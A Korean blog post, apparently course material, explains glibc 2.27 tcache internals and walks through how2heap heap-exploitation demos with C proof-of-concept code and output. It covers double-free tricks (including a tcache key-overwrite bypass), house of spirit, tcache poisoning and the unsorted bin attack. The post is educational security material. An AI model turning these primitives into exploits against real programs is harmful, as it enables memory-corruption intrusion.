how2heap 2.27

작년에 소수전공 하면서 만들어둔 자료가 2.23 버전이였는데, 이번에 수업하면서 버전을 높여서 수업을 진행하다보니 조금 바뀐 부분들이 있어서 자료 만들겸 블로그 포스팅도 한다..
Heap Exploit 관련해서 how2heap 2.27 Exploit Technique들을 정리해볼라고 한다!
예전에 정리해둔 것들이 있는데 오랜만에 기억도 되살릴겸..
Baisc한 Heap Structure나 bins 등에 관한건 따로 정리하진 않겠다.

Tcache

우선 Heap Exploit 공격기법들을 알기전에 tcache에 대해서 간단히 정리하고 넘어가야겠다.
ptmalloc은 빠른 메모리 재사용을 위해 메모리를 해제하면, tcache 또는 bin이라는 연결 리스트에 해제된 공간의 정보를 저장한다. 우리가 볼 핵심인 Tcache(Thread Local Cache)는 glibc 2.26 이후 생긴 힙 메모리 성능 향상을 위한 메커니즘이다.
Tcache는 Fastbin이랑 마찬가지로 LIFO(Last In First Out)형태의 Single Linked List를 사용한다. 그리고 각 Tcache마다 최대 7개의 청크를 보관할 수 있다. 여기서 알 수 있는게 tcache가 가득차면 그 Chunk가 해제가될 때 Tcache가 아니라 Chunk에 맞는 bin에 들어가게 된다. Tcache에 들어가는 Chunk의 크기는 32~1040 Bytes이다.
Tcache의 장점이 메모리 성능 향상이라고 했는데 그 이유는 바로 arena의 bin들에 접근하기전에 tcache를 먼저 접근하게 되는데 arena에서 발생할 수 있는 병목현상을 완화할 수 있다.

tcache_perthread_struct

tcache를 처음 사용하면 할당되는 구조체다. 해당 구조체는 tcache_entry를 관리하기 위해 사용된다.

1
2
3
4
5
6
7
8
9
10
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

tcache_entry

예전에 Heap 한창 공부했을 때는 Tcache Double Free에 대한 검증이 없었는데 key라는게 새로 생기면서 검사를 해준다.
tcache_entry는 해제된 Tcache Chunk들이 가지는 구조이다. 각 Tcache Chunk들은 next로 연결이 되어있다. key는 Fastbin하고 비슷하게 fd라고 생각하면 된다.

1
2
3
4
5
6
7
8
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

tcache_put

tcache_put은 해제된 Chunk를 tcache에 넣어주는 역할을 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get

tcache에 연결된 청크를 재사용할 때 사용하는 함수다.

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->counts[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

_int_free

Tcache Double Free를 검사해주는 key가 생기면서 free함수에서도 검증해주는 루틴이 추가됐다. 재할당하려는 청크의 key값이 tcache라면 DFB가 발생했다고 본다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 #if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
-
- if (tcache
- && tc_idx < mp_.tcache_bins
- && tcache->counts[tc_idx] < mp_.tcache_count)
+ if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
- tcache_put (p, tc_idx);
- return;
+ /* Check to see if it's already in the tcache. */
+ tcache_entry *e = (tcache_entry *) chunk2mem (p);
+
+ /* This test succeeds on double free. However, we don't 100%
+ trust it (it also matches random payload data at a 1 in
+ 2^<size_t> chance), so verify it's not an unlikely
+ coincidence before aborting. */
+ if (__glibc_unlikely (e->key == tcache))
+ {
+ tcache_entry *tmp;
+ LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+ for (tmp = tcache->entries[tc_idx];
+ tmp;
+ tmp = tmp->next)
+ if (tmp == e)
+ malloc_printerr ("free(): double free detected in tcache 2");
+ /* If we get here, it was a coincidence. We've wasted a
+ few cycles, but don't abort. */
+ }
+
+ if (tcache->counts[tc_idx] < mp_.tcache_count)
+ {
+ tcache_put (p, tc_idx);
+ return;
+ }
}
}
#endif

Tcache의Doulbe Free Check는 if (__glibc_unlikely (e->key == tcache)) 이부분을 보면 되는데, e->key를 바꿀 수만 있다면 bypass가 가능하다는걸 확인할 수 있다.

Tcache Flow

malloc()을 통해 Dynmaic Alloc에 대한 요청이 들어오면 __libc_malloc이 호출될 것이다. 코드를 확인해보면 __malloc_hook을 먼저 실행하는 것을 확인할 수 있고 USE_TCACHE에 대한 전처리문을 보면 내부에서 MAYBE_INIT_TCACHE() 매크로를 호출한다.

__libc_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# define MAYBE_INIT_TCACHE() \
if (__glibc_unlikely (tcache == NULL)) \
tcache_init();
#else /* !USE_TCACHE */
# define MAYBE_INIT_TCACHE()

void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

tcache_init

MAYBE_INIT_TCACHE를 보면 tcache_init()을 호출한다. 이 함수에서는 tcache_perthread_struct 구조체를 힙영역에 할당 및 초기화를 해준다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}

Tips

GDB로 Heap Section의 Tcache 구조체를 예쁘게 확인하려면 아래와 같이하면 된다.

1
2
3
4
5
print *(tcache_perthread_struct *)주소
$2 = {
counts = "\000\000\000\000\001", '\000' <repeats 58 times>,
entries = {0x0, 0x0, 0x0, 0x0, 0x555555756260, 0x0 <repeats 59 times>}
}

tcache dup

2.27 초반 버전에서는 tcache dup이 가능했다. 그 당시의 tcache_entry를 보면 struct tcache_perthread_struct *key가 없었다.

1
2
3
4
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

그래서 코드를 보면 할당을 하고 해제를 하면 tcache bin에 들어간다. 근데 또 같은 Chunk를 free해버리면 tcache list가 Overlap 상태가 된다. 물론 지금은 안 통하는 방법이다! (참고용)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
printf("This file demonstrates a simple double-free attack with tcache.\n");

printf("Allocating buffer.\n");
int *a = malloc(8);

printf("malloc(8): %p\n", a);
printf("Freeing twice...\n");
free(a);
free(a);

printf("Now the free list has [ %p, %p ].\n", a, a);
void *b = malloc(8);
void *c = malloc(8);
printf("Next allocated buffers will be same: [ %p, %p ].\n", b, c);

assert((long)b == (long)c);
return 0;
}

이제 최근 버전에서 위 코드를 실행하면 abort뜬다!

1
2
3
4
5
6
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x561a6b69a670
Freeing twice...
free(): double free detected in tcache 2
[1] 10719 abort ./tcache_dup

다만 우회하는 방법도 존재한다. 매우 간단한데 key를 덮어버리면 된다 ㅎㅎ.. 그러면 tcache bin이 overlaping되는 것을 확인할 수 있다! 그래서 2개의 청크를 재할당 하면 같은 주소를 가르키고 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// bypass if (__glibc_unlikely (e->key == tcache))
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main(){
uint64_t *ptr1 = malloc(0x20);
fprintf(stderr,"Tcache ptr1: %p\n",ptr1);
free(ptr1);
fprintf(stderr,"Free ptr1\n");
ptr1[1] = 0;
fprintf(stderr,"Initialize ptr1[1]\n");
fprintf(stderr,"Bypass (__glibc_unlikely (e->key == tcache))\n");
free(ptr1);
fprintf(stderr,"Double Free Finish\n");
fprintf(stderr,"Allocate %p, %p\n",malloc(0x20),malloc(0x20));
}
1
2
3
4
5
6
Tcache ptr1: 0x556ea90d3260
Free ptr1
Initialize ptr1[1]
Bypass (__glibc_unlikely (e->key == tcache))
Double Free Finish
Allocate 0x556ea90d3260, 0x556ea90d3260

fastbin dup

glibc 2.25 이하 버전들에서는 Tcache가 없기 때문에 Fast Chunk Double Free 루틴 if (__builtin_expect (old == p, 0))을 우회해주면 됐는데 Tcache가 생기면서 Tcache bin을 다 채우고 fastbin dup을 진행해주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}

아래는 실행 결과다. 1, 3번째 포인터가 같은 주소를 가르키고 있다. 이를 응용해서 Heap Structure의 fd를 조작해 원하는 주소로 할당을 할 수 있게 만들 수 있다!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
This file demonstrates a simple double-free attack with fastbins.
Fill up tcache first.
Allocating 3 buffers.
1st calloc(1, 8): 0x561e07fd2360
2nd calloc(1, 8): 0x561e07fd2380
3rd calloc(1, 8): 0x561e07fd23a0
Freeing the first one...
If we free 0x561e07fd2360 again, things will crash because 0x561e07fd2360 is at the top of the free list.
So, instead, we'll free 0x561e07fd2380.
Now, we can free 0x561e07fd2360 again, since it's not the head of the free list.
Now the free list has [ 0x561e07fd2360, 0x561e07fd2380, 0x561e07fd2360 ]. If we malloc 3 times, we'll get 0x561e07fd2360 twice!
1st calloc(1, 8): 0x561e07fd2360
2nd calloc(1, 8): 0x561e07fd2380
3rd calloc(1, 8): 0x561e07fd2360

fastbin dup consolidate

0x40크기의 Tcache를 다 채워준다. 그러면 p1은 할당하고 해제하면 fastbin에 들어가게 된다. 그리고 다음에 p3를 0x400 size만큼 할당하게 되는데 여기서 consolidation이 발생한다. 그래서 p1과 p3가 같은 주소를 가르키게 된다. 이후 p1을 또 free해서 Double Free 상태를 만들면 p3가 참조하고 있지만 tcache bin에 넣게 된다. 그리고 0x400 사이즈의 p4를 할당하면 tcache bin에서 가져오므로 p3와 p4는 같은 주소를 가르키게 된다.
malloc algorithm을 보면 consolidate되는 조건을 보면 된다.
1_N7AcBxus7yP_DoUFX-6UaA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

void* p1 = calloc(1,0x40);

printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");

assert(p1 == p3);

printf("Triggering the double free vulnerability!\n\n");
free(p1);

void *p4 = malloc(0x400);

assert(p4 == p3);

printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

구버전에서는 largebin size의 청크를 할당하고, 만약 fastbin이 존재하면 fastbin에 들어간 청크를 합병할 때 smallbin에 넣지만, Tcache가 있는한 Tcache로 들어간당.. 하지만 상관없다. 어쨌든 조건은 largebin size의 chunk를 할당 할때 fastbin chunk와 인접해있으면 발생한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
This is a powerful technique that bypasses the double free check in tcachebin.
Fill up the tcache list to force the fastbin usage...
Allocate another chunk of the same size p1=0x5636e53558a0
Freeing p1 will add this chunk to the fastbin list...

Allocating a tcache-sized chunk (p3=0x5636e53558a0)
will trigger the malloc_consolidate and merge
the fastbin chunks into the top chunk, thus
p1 and p3 are now pointing to the same chunk !

Triggering the double free vulnerability!

The double free added the chunk referenced by p1
to the tcache thus the next similar-size malloc will
point to p3: p3=0x5636e53558a0, p4=0x5636e53558a0

fastbin dup into stack

fastbin dup을 응용해서 fake chunk를 만들고 원하는 곳에 할당할 수 있는 기법이다.
그리고 tcache 환경에서 calloc을 사용하는 이유는 tcache free list에 있는 tcache를 재활용하지 않는다. calloc함수의 특징을 보면 되는데 calloc은 malloc과 다르게 할당과 동시에 메모리 초기화를 하기때문에, 기존에 남아있는 데이터를 데이터 재사용을 방지한다. 즉, tcache bin에 무언가 있더라도 calloc으로 할당을 한다면 tcache가 아닌 fastbin에서 가져온다. 만약 calloc으로 할당한 chunk를 free함수로 해제를 하면 tcache_entry에 추가되긴 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long long stack_var;

fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
/*VULNERABILITY*/
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert(p == 8+(char *)&stack_var);
// assert((long)__builtin_return_address(0) == *(long *)p);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
This file extends on fastbin_dup.c by tricking calloc into
returning a pointer to a controlled location (in this case, the stack).
Fill up tcache first.
The address we want calloc() to return is 0x7fffaffed348.
Allocating 3 buffers.
1st calloc(1,8): 0x559fe219e340
2nd calloc(1,8): 0x559fe219e360
3rd calloc(1,8): 0x559fe219e380
Freeing the first one...
If we free 0x559fe219e340 again, things will crash because 0x559fe219e340 is at the top of the free list.
So, instead, we'll free 0x559fe219e360.
Now, we can free 0x559fe219e340 again, since it's not the head of the free list.
Now the free list has [ 0x559fe219e340, 0x559fe219e360, 0x559fe219e340 ]. We'll now carry out our attack by modifying data at 0x559fe219e340.
1st calloc(1,8): 0x559fe219e340
2nd calloc(1,8): 0x559fe219e360
Now the free list has [ 0x559fe219e340 ].
Now, we have access to 0x559fe219e340 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that calloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x559fe219e340 to point right before the 0x20.
3rd calloc(1,8): 0x559fe219e340, putting the stack address on the free list
4th calloc(1,8): 0x7fffaffed348

tcache house of spirit

free함수의 인자를 조작해 임의의 메모리를 해제할 수 있을 때 사용하는 기법이다. 이를 통해서 원하는 주소에 힙을 할당해 임의의 주소에 값을 쓸 수 있다. 단 fake chunk를 만들 수 있어야하고 해제할 주소를 알아야한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates the house of spirit attack on tcache.\n");
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

printf("Ok. Let's start with the example!.\n\n");


printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);

printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size


printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

printf("Freeing the overwritten pointer.\n");
free(a);

printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);

assert((long)b == (long)&fake_chunks[2]);
}

stack영역에 fake chunk를 만들고 해당 주소를 free하면 tcache_entry에 들어가는데 이를 재할당하면 스택영역에 할당이 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
This file demonstrates the house of spirit attack on tcache.
It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.
You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.
(Search for strings "invalid next size" and "double free or corruption")

Ok. Let's start with the example!.

Calling malloc() once so that it sets up its memory.
Let's imagine we will overwrite 1 pointer to point to a fake chunk region.
This region contains one fake chunk. It's size field is placed at 0x7ffc42921e38
This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.

Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc42921e38.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc42921e38, which will be 0x7ffc42921e40!
malloc(0x30): 0x7ffc42921e40

tcache poisoning

간단한 tcache poisioning attck인데 fd pointer를 원하는 주소로 덮어버려서 재할당할 때 fd pointer에 쓴 주소로 할당이 되도록 하는 기법이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.
After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,
We have to create and free one more chunk for padding before fd pointer hijacking.

The address we want malloc() to return is 0x7ffe5c63c328.
Allocating 2 buffers.
malloc(128): 0x55657268e260
malloc(128): 0x55657268e2f0
Freeing the buffers...
Now the tcache list has [ 0x55657268e2f0 -> 0x55657268e260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x55657268e2f0
to point to the location to control (0x7ffe5c63c328).
Now the tcache list has [ 0x55657268e2f0 -> 0x7ffe5c63c328 ].
1st malloc(128): 0x55657268e2f0
Now the tcache list has [ 0x7ffe5c63c328 ].
2nd malloc(128): 0x7ffe5c63c328
We got the control

unsorted bin attack

tcache에서 unsorted bin으로 Memory Leak을 trigger하기 위한 방법인데, 먼저 7개의 tcache_entry를 다 채워서 tcache를 사용하지 않도록 한뒤에 unsorted bin으로 가게하거나, tcache size를 넘긴 크기의 메모리를 할당하고 해제해서 unsorted bin을 만들면 된다. 단, top chunk와 인접하지 않게 잘 조져야한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
"instructions.\n");
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

volatile unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(0x410);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);

assert(stack_var != 0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
This technique only works with buffers not going into tcache, either because the tcache-option for glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build instructions.
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7ffe22e9e508: 0

Now, we allocate first normal chunk on the heap at: 0x5624dd191260
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f4bf2c3aca0
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe22e9e4f8

Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten:
0x7ffe22e9e508: 0x7f4bf2c3aca0